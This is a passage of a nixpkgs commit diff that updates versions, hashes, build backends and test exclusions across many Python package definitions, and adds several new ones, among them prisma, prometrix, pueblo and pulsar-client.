@@ buildPythonPackage rec { postFetch = '' rm "$out/.git_archival.txt" ''; - hash = "sha256-mxUXXD7/ERC6mfmLLo+zdsVblIplrlcnzTNQ7YUk3Q4="; + hash = "sha256-zUTlMNGm7QrCFcGb02vvAlhUoeFQbp//HyhkKV69JWc="; }; patches = [ diff --git a/pkgs/development/python-modules/pillow-heif/default.nix b/pkgs/development/python-modules/pillow-heif/default.nix index 2496bd1b36096..33575ace5508f 100644 --- a/pkgs/development/python-modules/pillow-heif/default.nix +++ b/pkgs/development/python-modules/pillow-heif/default.nix @@ -55,6 +55,9 @@ buildPythonPackage rec { x265 ]; + # clang-16: error: argument unused during compilation: '-fno-strict-overflow' [-Werror,-Wunused-command-line-argument] + env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.cc.isClang "-Wno-unused-command-line-argument"; + propagatedBuildInputs = [ pillow ]; diff --git a/pkgs/development/python-modules/pinecone-client/default.nix b/pkgs/development/python-modules/pinecone-client/default.nix index 2715e1748051e..86edb6e597cb8 100644 --- a/pkgs/development/python-modules/pinecone-client/default.nix +++ b/pkgs/development/python-modules/pinecone-client/default.nix @@ -16,13 +16,13 @@ }: buildPythonPackage rec { pname = "pinecone-client"; - version = "3.0.2"; + version = "3.1.0"; pyproject = true; src = fetchPypi { pname = "pinecone_client"; inherit version; - hash = "sha256-+aCDAzPuzhB7TvERneI9rWphv/q38jjmGEFtUcRtKcg="; + hash = "sha256-RbggYBP5GpgrmU8fuqOefoyZ0w7zd4qfMZxDuMmS/EI="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pip-api/default.nix b/pkgs/development/python-modules/pip-api/default.nix index c7819229ef16b..16f1f074d0448 100644 --- a/pkgs/development/python-modules/pip-api/default.nix +++ b/pkgs/development/python-modules/pip-api/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "pip-api"; - version = "0.0.31"; + version = "0.0.33"; pyproject = true; disabled = pythonOlder "3.7"; @@ -20,7 +20,7 @@ buildPythonPackage rec { owner = "di"; repo = "pip-api"; rev = "refs/tags/${version}"; - hash = "sha256-WFyrEEfrGwsITYzQaukwmz5ml+I6zlMddINTkGeNUTM="; + hash = "sha256-bDM31YpVB0pZMqeGTCbnINSmJc03N0HuU8hcc8nnHgw="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pipdeptree/default.nix b/pkgs/development/python-modules/pipdeptree/default.nix index 46374623014fe..3537c151e6f49 100644 --- a/pkgs/development/python-modules/pipdeptree/default.nix +++ b/pkgs/development/python-modules/pipdeptree/default.nix @@ -14,7 +14,7 @@ buildPythonPackage rec { pname = "pipdeptree"; - version = "2.13.2"; + version = "2.16.1"; format = "pyproject"; disabled = pythonOlder "3.8"; @@ -23,7 +23,7 @@ buildPythonPackage rec { owner = "tox-dev"; repo = "pipdeptree"; rev = "refs/tags/${version}"; - hash = "sha256-eDgulAKq78HRW/7GhO40hxr+F1hOfgXqAzaCw5pFjD8="; + hash = "sha256-aOAFM8b0kOZT5/afZigZjJDvS2CyqghY6GATzeyySB4="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pipenv-poetry-migrate/default.nix b/pkgs/development/python-modules/pipenv-poetry-migrate/default.nix index f40be0758ba55..6cfaf7eccb73d 100644 --- a/pkgs/development/python-modules/pipenv-poetry-migrate/default.nix +++ b/pkgs/development/python-modules/pipenv-poetry-migrate/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "pipenv-poetry-migrate"; - version = "0.5.3"; + version = "0.5.4"; format = "pyproject"; disabled = pythonOlder "3.8"; @@ -20,7 +20,7 @@ buildPythonPackage rec { owner = "yhino"; repo = "pipenv-poetry-migrate"; rev = "refs/tags/v${version}"; - hash = "sha256-Figg5yaPo6QqB4lldmyJZtd/Ar584IyETVJfWZ+gjDE="; + hash = "sha256-5qOOklwjTGrlvaPg7hVYLAAHvQ7633VAt3L2PHw2V9U="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/plac/default.nix b/pkgs/development/python-modules/plac/default.nix index a1822fe5157dc..70a57168b12a9 100644 --- a/pkgs/development/python-modules/plac/default.nix +++ b/pkgs/development/python-modules/plac/default.nix @@ -7,7 +7,7 @@ buildPythonPackage rec { pname = "plac"; - version = "1.4.0"; + version = "1.4.3"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -16,7 +16,7 @@ buildPythonPackage rec { owner = "ialbert"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-BH6NKbDMhlNuo+orIEweABNSVZv1K9VrZBrCIs6H6BU="; + hash = "sha256-EWwDtS2cRLBe4aZuH72hgg2BQnVJQ39GmPx05NxTNjE="; }; # tests are broken, see https://github.com/ialbert/plac/issues/74 diff --git a/pkgs/development/python-modules/plaid-python/default.nix b/pkgs/development/python-modules/plaid-python/default.nix index 388688c19f974..a49adbc2acbfe 100644 --- a/pkgs/development/python-modules/plaid-python/default.nix +++ b/pkgs/development/python-modules/plaid-python/default.nix @@ -9,14 +9,14 @@ buildPythonPackage rec { pname = "plaid-python"; - version = "18.4.0"; + version = "19.0.0"; format = "setuptools"; disabled = pythonOlder "3.6"; src = fetchPypi { inherit pname version; - hash = "sha256-bspTjaTATICk58YHxnq2ZM1N5PNS2o0nVQDWUeUvVAc="; + hash = "sha256-mwWE5AZjqoUkPzyvuARotcRU2mKnqkoBh6priXLzE/I="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/plexapi/default.nix b/pkgs/development/python-modules/plexapi/default.nix index 8628c0bf645c2..8b2911222e376 100644 --- a/pkgs/development/python-modules/plexapi/default.nix +++ b/pkgs/development/python-modules/plexapi/default.nix @@ -1,16 +1,17 @@ { lib , buildPythonPackage , fetchFromGitHub +, pythonOlder , requests +, setuptools , tqdm , websocket-client -, pythonOlder }: buildPythonPackage rec { pname = "plexapi"; - version = "4.15.9"; - format = "setuptools"; + version = "4.15.10"; + pyproject = true; disabled = pythonOlder "3.8"; @@ -18,9 +19,13 @@ buildPythonPackage rec { owner = "pkkid"; repo = "python-plexapi"; rev = "refs/tags/${version}"; - hash = "sha256-mKn2SLECtJwUdBS7u8NAyIq6wlk+0WNWnDv27AVcysY="; + hash = "sha256-3qvAf3oray3Fm3No6ixv/D1mY4lipt5pixgpyXNCRoc="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ requests tqdm diff --git a/pkgs/development/python-modules/plotnine/default.nix b/pkgs/development/python-modules/plotnine/default.nix index d1ac7b37a76ff..af402da40045f 100644 --- a/pkgs/development/python-modules/plotnine/default.nix +++ b/pkgs/development/python-modules/plotnine/default.nix @@ -16,16 +16,16 @@ buildPythonPackage rec { pname = "plotnine"; - version = "0.12.4"; + version = "0.13.1"; pyproject = true; - disabled = pythonOlder "3.8"; + disabled = pythonOlder "3.9"; src = fetchFromGitHub { owner = "has2k1"; repo = "plotnine"; rev = "refs/tags/v${version}"; - hash = "sha256-bm7xMCFDFimINlUePqLYw5bZtI5B151QOtltajgSm2U="; + hash = "sha256-VgR7T8pDrVMBYqtvTfRmFwW61IREYiRCMXbpCOj/a4Q="; }; nativeBuildInputs = [ @@ -64,29 +64,36 @@ buildPythonPackage rec { # Assertion Errors: # Generated plot images do not exactly match the expected files. # After manually checking, this is caused by extremely subtle differences in label placement. + "tests/test_aes.py" "tests/test_annotation_logticks.py" "tests/test_coords.py" - "tests/test_facets.py" "tests/test_facet_labelling.py" + "tests/test_facets.py" "tests/test_geom_bar_col_histogram.py" "tests/test_geom_bin_2d.py" "tests/test_geom_boxplot.py" + "tests/test_geom_count.py" + "tests/test_geom_density_2d.py" "tests/test_geom_density.py" "tests/test_geom_dotplot.py" + "tests/test_geom_freqpoly.py" "tests/test_geom_map.py" "tests/test_geom_path_line_step.py" "tests/test_geom_point.py" "tests/test_geom_raster.py" + "tests/test_geom_rect_tile.py" "tests/test_geom_ribbon_area.py" "tests/test_geom_sina.py" "tests/test_geom_smooth.py" "tests/test_geom_text_label.py" "tests/test_geom_violin.py" + "tests/test_layout.py" "tests/test_position.py" "tests/test_qplot.py" "tests/test_scale_internals.py" "tests/test_scale_labelling.py" "tests/test_stat_ecdf.py" + "tests/test_stat_function.py" "tests/test_stat_summary.py" "tests/test_theme.py" diff --git a/pkgs/development/python-modules/plugwise/default.nix b/pkgs/development/python-modules/plugwise/default.nix index 97b42974993ad..7d8b5f6665157 100644 --- a/pkgs/development/python-modules/plugwise/default.nix +++ b/pkgs/development/python-modules/plugwise/default.nix @@ -21,7 +21,7 @@ buildPythonPackage rec { pname = "plugwise"; - version = "0.37.0"; + version = "0.37.1"; pyproject = true; disabled = pythonOlder "3.11"; @@ -30,7 +30,7 @@ buildPythonPackage rec { owner = "plugwise"; repo = "python-plugwise"; rev = "refs/tags/v${version}"; - hash = "sha256-a/8GVHhVZsK2DD3+mM8UvwkgjMC403Mc9UJSO19AlXs="; + hash = "sha256-6o0g3il4GV6E8avp9V2YrkaVPf2z37asdJOxf6Phbmc="; }; postPatch = '' diff --git a/pkgs/development/python-modules/plux/default.nix b/pkgs/development/python-modules/plux/default.nix index 567aff8f51b0f..b778a2dd17219 100644 --- a/pkgs/development/python-modules/plux/default.nix +++ b/pkgs/development/python-modules/plux/default.nix @@ -10,26 +10,17 @@ buildPythonPackage rec { pname = "plux"; - version = "1.4.0"; - format = "pyproject"; + version = "1.5.0"; + pyproject = true; # Tests are not available from PyPi src = fetchFromGitHub { owner = "localstack"; repo = "plux"; rev = "refs/tags/v${version}"; - hash = "sha256-AybMHkCUNJsL51XwiskkIltEtqZ27fGHrpyct8IUjmo="; + hash = "sha256-XHRQTgvxXJCjCD/9Invf/5OCtp12A5poRUv8tR9DJsk="; }; - patches = [ - # https://github.com/localstack/plux/pull/8 - (fetchpatch { - name = "remove-pytest-runner.patch"; - url = "https://github.com/localstack/plux/commit/3cda22e51f43a86304d0dedd7e554b21aa82c8b0.patch"; - hash = "sha256-ZFHUTkUYFSTgKbx+c74JQzre0la+hFW9gNOxOehvVoE="; - }) - ]; - nativeBuildInputs = [ setuptools wheel diff --git a/pkgs/development/python-modules/pontos/default.nix b/pkgs/development/python-modules/pontos/default.nix index ddff63f6fa7e4..f1477f5b24247 100644 --- a/pkgs/development/python-modules/pontos/default.nix +++ b/pkgs/development/python-modules/pontos/default.nix @@ -18,7 +18,7 @@ buildPythonPackage rec { pname = "pontos"; - version = "24.2.1"; + version = "24.3.1"; pyproject = true; disabled = pythonOlder "3.9"; @@ -27,7 +27,7 @@ buildPythonPackage rec { owner = "greenbone"; repo = "pontos"; rev = "refs/tags/v${version}"; - hash = "sha256-lvmi/aYDGDHbiioFWovDpTCcqgh9hu97Wk2Lcqfd6qk="; + hash = "sha256-EYfhbIFD2p6ZZ4i6NCA22LS6mAZoJCJSYlTmRExWgw4="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pony/default.nix b/pkgs/development/python-modules/pony/default.nix index 892cb0829baf1..46a4daffe6254 100644 --- a/pkgs/development/python-modules/pony/default.nix +++ b/pkgs/development/python-modules/pony/default.nix @@ -4,22 +4,27 @@ , pytestCheckHook , pythonOlder , pythonAtLeast +, setuptools }: buildPythonPackage rec { pname = "pony"; version = "0.7.17"; - format = "setuptools"; + pyproject = true; disabled = pythonOlder "3.8" || pythonAtLeast "3.12"; src = fetchFromGitHub { owner = "ponyorm"; - repo = pname; + repo = "pony"; rev = "refs/tags/v${version}"; hash = "sha256-wBqw+YHKlxYplgsYL1pbkusHyPfCaVPcH/Yku6WDYbE="; }; + nativeBuildInputs = [ + setuptools + ]; + nativeCheckInputs = [ pytestCheckHook ]; @@ -27,6 +32,14 @@ buildPythonPackage rec { disabledTests = [ # Tests are outdated "test_method" + # https://github.com/ponyorm/pony/issues/704 + "test_composite_param" + "test_equal_json" + "test_equal_list" + "test_len" + "test_ne" + "test_nonzero" + "test_query" ]; pythonImportsCheck = [ @@ -36,6 +49,7 @@ buildPythonPackage rec { meta = with lib; { description = "Library for advanced object-relational mapping"; homepage = "https://ponyorm.org/"; + changelog = "https://github.com/ponyorm/pony/releases/tag/v${version}"; license = licenses.asl20; maintainers = with maintainers; [ d-goldin xvapx ]; }; diff --git a/pkgs/development/python-modules/pook/default.nix b/pkgs/development/python-modules/pook/default.nix index 1a96522844d4e..fffca3cccaaee 100644 --- a/pkgs/development/python-modules/pook/default.nix +++ b/pkgs/development/python-modules/pook/default.nix @@ -3,8 +3,9 @@ , buildPythonPackage , fetchFromGitHub , furl +, hatchling , jsonschema -, nose +, pytest-asyncio , pytestCheckHook , pythonOlder , requests @@ -13,17 +14,22 @@ buildPythonPackage rec { pname = "pook"; - version = "1.1.1"; - format = "setuptools"; - disabled = pythonOlder "3.5"; + version = "1.3.0"; + pyproject = true; + + disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "h2non"; - repo = pname; + repo = "pook"; rev = "refs/tags/v${version}"; - hash = "sha256-nLeJAAsJUKFAetZSAQmOtXP+3ZRHvCTFAzycSkK+kiI="; + hash = "sha256-0sS2QJcshMuxxCGlrcVHeIQnVMZbBoJfLsRIxpvl7pM="; }; + nativeBuildInputs = [ + hatchling + ]; + propagatedBuildInputs = [ aiohttp furl @@ -33,7 +39,7 @@ buildPythonPackage rec { ]; nativeCheckInputs = [ - nose + pytest-asyncio pytestCheckHook ]; @@ -41,8 +47,15 @@ buildPythonPackage rec { "pook" ]; + disabledTestPaths = [ + # Don't test integrations + "tests/integration/" + # Tests require network access + "tests/unit/interceptors/" + ]; + meta = with lib; { - description = "HTTP traffic mocking and testing made simple in Python"; + description = "HTTP traffic mocking and testing"; homepage = "https://github.com/h2non/pook"; changelog = "https://github.com/h2non/pook/blob/v${version}/History.rst"; license = with licenses; [ mit ]; diff --git a/pkgs/development/python-modules/posthog/default.nix b/pkgs/development/python-modules/posthog/default.nix index 94d374225f2c3..03372065aedd9 100644 --- a/pkgs/development/python-modules/posthog/default.nix +++ b/pkgs/development/python-modules/posthog/default.nix @@ -14,7 +14,7 @@ }: let pname = "posthog"; - version = "3.4.1"; + version = "3.5.0"; in buildPythonPackage { inherit pname version; @@ -24,7 +24,7 @@ buildPythonPackage { owner = "PostHog"; repo = "posthog-python"; rev = "refs/tags/v${version}"; - hash = "sha256-vqq8yCfIDaCWcWwpr8ogdDpmZY4lPcDwoNV33W664pc="; + hash = "sha256-+nYMQxqI9RZ5vVL6KgiRLcx0JHWJTs/rZ6U6jIuaz+w="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/ppft/default.nix b/pkgs/development/python-modules/ppft/default.nix index cd801f497a8cc..3c721320d995b 100644 --- a/pkgs/development/python-modules/ppft/default.nix +++ b/pkgs/development/python-modules/ppft/default.nix @@ -9,14 +9,14 @@ buildPythonPackage rec { pname = "ppft"; - version = "1.7.6.7"; + version = "1.7.6.8"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-qzRDaBTi8YI481aI/YabJkGy0tjcoiuNJG9nAd/JVMg="; + hash = "sha256-dqQpp9e3TE10P226g1HljWK2Qy7WXfn+IEeQFg2rmW0="; }; propagatedBuildInputs = [ @@ -39,7 +39,7 @@ buildPythonPackage rec { meta = with lib; { description = "Distributed and parallel Python"; homepage = "https://ppft.readthedocs.io/"; - changelog = "https://github.com/uqfoundation/ppft/releases/tag/ppft-${version}"; + changelog = "https://github.com/uqfoundation/ppft/releases/tag/${version}"; license = licenses.bsd3; maintainers = with maintainers; [ ]; }; diff --git a/pkgs/development/python-modules/primepy/default.nix b/pkgs/development/python-modules/primepy/default.nix new file mode 100644 index 0000000000000..583aa3919dcf0 --- /dev/null +++ b/pkgs/development/python-modules/primepy/default.nix @@ -0,0 +1,32 @@ +{ lib +, buildPythonPackage +, fetchPypi +, setuptools +, wheel +}: + +buildPythonPackage rec { + pname = "primepy"; + version = "1.3"; + pyproject = true; + + src = fetchPypi { + pname = "primePy"; + inherit version; + hash = "sha256-Jf1+JTRLB4mlmEx12J8FT88fGAvvIMmY5L77rJLeRmk="; + }; + + nativeBuildInputs = [ + setuptools + wheel + ]; + + pythonImportsCheck = [ "primePy" ]; + + meta = with lib; { + description = "This module contains several useful functions to work with prime numbers. from primePy import primes"; + homepage = "https://pypi.org/project/primePy/"; + license = licenses.mit; + maintainers = with maintainers; [ matthewcroughan ]; + }; +} diff --git a/pkgs/development/python-modules/primer3/default.nix b/pkgs/development/python-modules/primer3/default.nix index b2999f5824554..78d43a08b4acd 100644 --- a/pkgs/development/python-modules/primer3/default.nix +++ b/pkgs/development/python-modules/primer3/default.nix @@ -7,12 +7,13 @@ , click , pytestCheckHook , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "primer3"; - version = "2.0.2"; - format = "setuptools"; + version = "2.0.3"; + pyproject = true; disabled = pythonOlder "3.7"; @@ -20,11 +21,12 @@ buildPythonPackage rec { owner = "libnano"; repo = "primer3-py"; rev = "refs/tags/v${version}"; - hash = "sha256-v3y9nJpWc9lBKcPX/qjuezjfK0nzKIMiE0QdoLgyNj8="; + hash = "sha256-O8BFjkjG9SfknSrK34s9EJnqTrtCf4zW9A+N+/MHl2w="; }; nativeBuildInputs = [ cython + setuptools ] ++ lib.optionals stdenv.isDarwin [ gcc ]; diff --git a/pkgs/development/python-modules/prisma/default.nix b/pkgs/development/python-modules/prisma/default.nix new file mode 100644 index 0000000000000..7d1a74a7f5b9c --- /dev/null +++ b/pkgs/development/python-modules/prisma/default.nix @@ -0,0 +1,63 @@ +{ lib +, buildPythonPackage +, click +, fetchFromGitHub +, httpx +, jinja2 +, nodeenv +, pydantic +, pytestCheckHook +, python-dotenv +, pythonOlder +, setuptools +, strenum +, tomlkit +, typing-extensions +}: + +buildPythonPackage rec { + pname = "prisma"; + version = "0.12.0"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchFromGitHub { + owner = "RobertCraigie"; + repo = "prisma-client-py"; + rev = "refs/tags/v${version}"; + hash = "sha256-vmcYBUPDhFbxgWyrF+AjoXwAAH2R/tJYttFD+41bPbA="; + }; + + nativeBuildInputs = [ + setuptools + ]; + + propagatedBuildInputs = [ + click + httpx + jinja2 + nodeenv + pydantic + python-dotenv + tomlkit + typing-extensions + ] ++ lib.optionals (pythonOlder "3.11") [ + strenum + ]; + + # Building the client requires network access + doCheck = false; + + pythonImportsCheck = [ + "prisma" + ]; + + meta = with lib; { + description = "Auto-generated and fully type-safe database client for prisma"; + homepage = "https://github.com/RobertCraigie/prisma-client-py"; + changelog = "https://github.com/RobertCraigie/prisma-client-py/releases/tag/v${version}"; + license = licenses.asl20; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/prometheus-api-client/default.nix b/pkgs/development/python-modules/prometheus-api-client/default.nix new file mode 100644 index 0000000000000..842b4c0b22ab0 --- /dev/null +++ b/pkgs/development/python-modules/prometheus-api-client/default.nix @@ -0,0 +1,62 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, pytestCheckHook +, dateparser +, httmock +, matplotlib +, numpy +, pandas +, requests +}: + +buildPythonPackage rec { + pname = "prometheus-api-client"; + version = "0.5.5"; + format = "setuptools"; + + src = fetchFromGitHub { + owner = "4n4nd"; + repo = "prometheus-api-client-python"; + rev = "refs/tags/v${version}"; + hash = "sha256-tUu0+ZUOFxBCj//lHhNm88rhFbS01j1x508+nqIkCfQ="; + }; + + propagatedBuildInputs = [ + dateparser + matplotlib + numpy + pandas + requests + ]; + + nativeCheckInputs = [ + pytestCheckHook + ]; + + checkInputs = [ + httmock + ]; + + disabledTestPaths = [ + "tests/test_prometheus_connect.py" + ]; + + pythonImportsCheck = [ + "prometheus_api_client" + ]; + + + meta = with lib; { + description = "A Python wrapper for the Prometheus HTTP API"; + longDescription = '' + The prometheus-api-client library consists of multiple modules which + assist in connecting to a Prometheus host, fetching the required metrics + and performing various aggregation operations on the time series data. + ''; + homepage = "https://github.com/4n4nd/prometheus-api-client-python"; + changelog = "https://github.com/4n4nd/prometheus-api-client-python/blob/${src.rev}/CHANGELOG.md"; + license = licenses.mit; + maintainers = with maintainers; [ azahi ]; + }; +} diff --git a/pkgs/development/python-modules/prometrix/default.nix b/pkgs/development/python-modules/prometrix/default.nix new file mode 100644 index 0000000000000..58b3ac27361e3 --- /dev/null +++ b/pkgs/development/python-modules/prometrix/default.nix @@ -0,0 +1,62 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, boto3 +, botocore +, dateparser +, matplotlib +, numpy +, pandas +, poetry-core +, prometheus-api-client +, pydantic_1 +, requests +}: + +buildPythonPackage rec { + pname = "prometrix"; + version = "unstable-2024-02-20"; + format = "pyproject"; + + src = fetchFromGitHub { + owner = "robusta-dev"; + repo = "prometrix"; + rev = "ab2dad2192ed3df91c1a25446a4f54b8f2f6742f"; + hash = "sha256-/72Qkd2BojYgiQi5rq7dVsEje7M0aQQXhenvIM7lSy4="; + }; + + postPatch = '' + substituteInPlace pyproject.toml \ + --replace-fail 'pydantic = "^1.8.1"' 'pydantic = "*"' + ''; + + propagatedBuildInputs = [ + boto3 + botocore + dateparser + matplotlib + numpy + pandas + prometheus-api-client + pydantic_1 + requests + ]; + + nativeBuildInputs = [ + poetry-core + ]; + + pythonImportsCheck = [ + "prometrix" + ]; + + meta = with lib; { + description = "Unified Prometheus client"; + longDescription = '' + This Python package provides a unified Prometheus client that can be used + to connect to and query various types of Prometheus instances. + ''; + license = licenses.mit; + maintainers = with maintainers; [ azahi ]; + }; +} diff --git a/pkgs/development/python-modules/protobuf/default.nix b/pkgs/development/python-modules/protobuf/default.nix index f2d2d52f2c8fc..610313302ad8e 100644 --- a/pkgs/development/python-modules/protobuf/default.nix +++ b/pkgs/development/python-modules/protobuf/default.nix @@ -115,5 +115,8 @@ buildPythonPackage { homepage = "https://developers.google.com/protocol-buffers/"; license = licenses.bsd3; maintainers = with maintainers; [ knedlsepp ]; + # Tests are currently failing because backend is unavailable and causes tests to fail + # Progress tracked in https://github.com/NixOS/nixpkgs/pull/264902 + broken = lib.versionAtLeast protobuf.version "25"; }; } diff --git a/pkgs/development/python-modules/psycopg/default.nix b/pkgs/development/python-modules/psycopg/default.nix index ca237ed8bbd54..3563aa2ecc895 100644 --- a/pkgs/development/python-modules/psycopg/default.nix +++ b/pkgs/development/python-modules/psycopg/default.nix @@ -128,8 +128,8 @@ buildPythonPackage rec { # Introduce this file necessary for the docs build via environment var LIBPQ_DOCS_FILE = fetchurl { - url = "https://raw.githubusercontent.com/postgres/postgres/REL_14_STABLE/doc/src/sgml/libpq.sgml"; - hash = "sha256-yn09fR9+7zQni8SvTG7BUmYRD7MK7u2arVAznWz2oAw="; + url = "https://raw.githubusercontent.com/postgres/postgres/496a1dc44bf1261053da9b3f7e430769754298b4/doc/src/sgml/libpq.sgml"; + hash = "sha256-JwtCngkoi9pb0pqIdNgukY8GbG5pUDZvrGAHZqjFOw4"; }; inherit patches; diff --git a/pkgs/development/python-modules/psycopg2/default.nix b/pkgs/development/python-modules/psycopg2/default.nix index 88f3a8b24483e..54d2ec7493339 100644 --- a/pkgs/development/python-modules/psycopg2/default.nix +++ b/pkgs/development/python-modules/psycopg2/default.nix @@ -5,6 +5,7 @@ , isPyPy , fetchPypi , postgresql +, postgresqlTestHook , openssl , sphinxHook , sphinx-better-theme @@ -48,9 +49,18 @@ buildPythonPackage rec { sphinxRoot = "doc/src"; - # Requires setting up a PostgreSQL database + # test suite breaks at some point with: + # current transaction is aborted, commands ignored until end of transaction block doCheck = false; + nativeCheckInputs = [ + postgresqlTestHook + ]; + + env = { + PGDATABASE = "psycopg2_test"; + }; + pythonImportsCheck = [ "psycopg2" ]; diff --git a/pkgs/development/python-modules/psycopg2cffi/default.nix b/pkgs/development/python-modules/psycopg2cffi/default.nix index 411630135acc9..f791f953d3f0a 100644 --- a/pkgs/development/python-modules/psycopg2cffi/default.nix +++ b/pkgs/development/python-modules/psycopg2cffi/default.nix @@ -1,4 +1,12 @@ -{ buildPythonPackage, cffi, fetchFromGitHub, lib, postgresql, pytestCheckHook, six }: +{ buildPythonPackage +, cffi +, fetchFromGitHub +, lib +, postgresql +, postgresqlTestHook +, pytestCheckHook +, six +}: buildPythonPackage rec { pname = "psycopg2cffi"; @@ -22,12 +30,19 @@ buildPythonPackage rec { }; nativeBuildInputs = [ postgresql ]; + propagatedBuildInputs = [ six cffi ]; - nativeCheckInputs = [ pytestCheckHook ]; - # NB: The tests need a postgres instance running to test against, and so we - # disable them. - doCheck = false; + nativeCheckInputs = [ postgresqlTestHook pytestCheckHook ]; + + disabledTests = [ + # AssertionError: '{}' != [] + "testEmptyArray" + ]; + + env = { + PGDATABASE = "psycopg2_test"; + }; pythonImportsCheck = [ "psycopg2cffi" ]; diff --git a/pkgs/development/python-modules/ptyprocess/default.nix b/pkgs/development/python-modules/ptyprocess/default.nix index a987db97d547a..17a961620da5f 100644 --- a/pkgs/development/python-modules/ptyprocess/default.nix +++ b/pkgs/development/python-modules/ptyprocess/default.nix @@ -2,16 +2,21 @@ , buildPythonPackage , fetchPypi , fetchpatch +, flit-core +, pythonOlder +, pytestCheckHook }: buildPythonPackage rec { pname = "ptyprocess"; version = "0.7.0"; - format = "setuptools"; + pyproject = true; + + disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - sha256 = "5c5d0a3b48ceee0b48485e0c26037c0acd7d29765ca3fbb5cb3831d347423220"; + hash = "sha256-XF0KO0jO7gtISF4MJgN8Cs19KXZco/u1yzgx00dCMiA="; }; patches = [ @@ -22,9 +27,23 @@ buildPythonPackage rec { }) ]; - meta = { + nativeBuildInputs = [ + flit-core + ]; + + nativeCheckInputs = [ + pytestCheckHook + ]; + + pythonImportsCheck = [ + "ptyprocess" + ]; + + meta = with lib; { description = "Run a subprocess in a pseudo terminal"; homepage = "https://github.com/pexpect/ptyprocess"; - license = lib.licenses.isc; + changelog = "https://github.com/pexpect/ptyprocess/releases/tag/${version}"; + license = licenses.isc; + maintainers = with maintainers; [ ]; }; } diff --git a/pkgs/development/python-modules/publicsuffixlist/default.nix b/pkgs/development/python-modules/publicsuffixlist/default.nix index 7c438655963e5..2e197ba9300d6 100644 --- a/pkgs/development/python-modules/publicsuffixlist/default.nix +++ b/pkgs/development/python-modules/publicsuffixlist/default.nix @@ -10,14 +10,14 @@ buildPythonPackage rec { pname = "publicsuffixlist"; - version = "0.10.0.20240210"; + version = "0.10.0.20240305"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-U19eJmRDA1Ozz6f81IbXepsXScf7yJZQiaNecqdsYK4="; + hash = "sha256-bnnqc7AnjOGxAvOtaBXypbaDhk2plIugsOqzGAxBn38="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pubnub/default.nix b/pkgs/development/python-modules/pubnub/default.nix index 4ffe4f45b3e84..73318da358182 100644 --- a/pkgs/development/python-modules/pubnub/default.nix +++ b/pkgs/development/python-modules/pubnub/default.nix @@ -15,7 +15,7 @@ buildPythonPackage rec { pname = "pubnub"; - version = "7.4.0"; + version = "7.4.1"; pyproject = true; disabled = pythonOlder "3.7"; @@ -24,7 +24,7 @@ buildPythonPackage rec { owner = pname; repo = "python"; rev = "refs/tags/v${version}"; - hash = "sha256-XYovKAk2GEMi7GE/DVtLjMbww7guGkZzDOHC7Z6ZpJo="; + hash = "sha256-XaTvLX1YA1lCSMrEEmiD2JsXoMkeQz1x0MgmnF7cjcM="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pueblo/default.nix b/pkgs/development/python-modules/pueblo/default.nix new file mode 100644 index 0000000000000..52a5a44352758 --- /dev/null +++ b/pkgs/development/python-modules/pueblo/default.nix @@ -0,0 +1,44 @@ +{ lib +, buildPythonPackage +, fetchPypi +, setuptools +, versioningit +, platformdirs +}: + +buildPythonPackage rec { + pname = "pueblo"; + version = "0.0.8"; + pyproject = true; + + # This tarball doesn't include tests unfortuneatly, and the GitHub tarball + # could have been an alternative, but versioningit fails to detect the + # version of it correctly, even with setuptools-scm and + # SETUPTOOLS_SCM_PRETEND_VERSION = version added. Since this is a pure Python + # package, we can rely on upstream to run the tests before releasing, and it + # should work for us as well. + src = fetchPypi { + inherit pname version; + hash = "sha256-iM8Ea2ym7ZM0wInkCZ76yUjvOPRF5MVbT4WhpWz70UU="; + }; + + nativeBuildInputs = [ + setuptools + versioningit + ]; + + propagatedBuildInputs = [ + # contextlib-chdir + # importlib-metadata + platformdirs + ]; + + pythonImportsCheck = [ "pueblo" ]; + + meta = with lib; { + description = "Pueblo - a Python toolbox library"; + homepage = "https://pypi.org/project/pueblo/"; + license = licenses.lgpl3Only; + maintainers = with maintainers; [ doronbehar ]; + }; +} diff --git a/pkgs/development/python-modules/pulsar-client/default.nix b/pkgs/development/python-modules/pulsar-client/default.nix new file mode 100644 index 0000000000000..65ce904eed4b4 --- /dev/null +++ b/pkgs/development/python-modules/pulsar-client/default.nix @@ -0,0 +1,119 @@ +{ lib +, stdenv +, buildPythonPackage +, fetchPypi +, python +}: +let + version = "3.4.0"; + + inherit (python) pythonVersion; + + Srcs = + let + getSrcFromPypi = { platform, dist, hash }: fetchPypi { + inherit version platform dist hash; + pname = "pulsar_client"; + format = "wheel"; + python = dist; + abi = dist; + }; + in + { + "3.9-x86_64-linux" = getSrcFromPypi { + platform = "manylinux_2_17_x86_64.manylinux2014_x86_64"; + dist = "cp39"; + hash = "sha256-1P5ArMoLZiUkHUoQ/mJccbNj5/7el/op+Qo6cGQ33xE="; + }; + "3.9-aarch64-linux" = getSrcFromPypi { + platform = "manylinux_2_17_aarch64.manylinux2014_aarch64"; + dist = "cp39"; + hash = "sha256-11JQZRwMLtt7sK/JlCBqqRyfTVIAVJFN2sL+nAkQgvU="; + 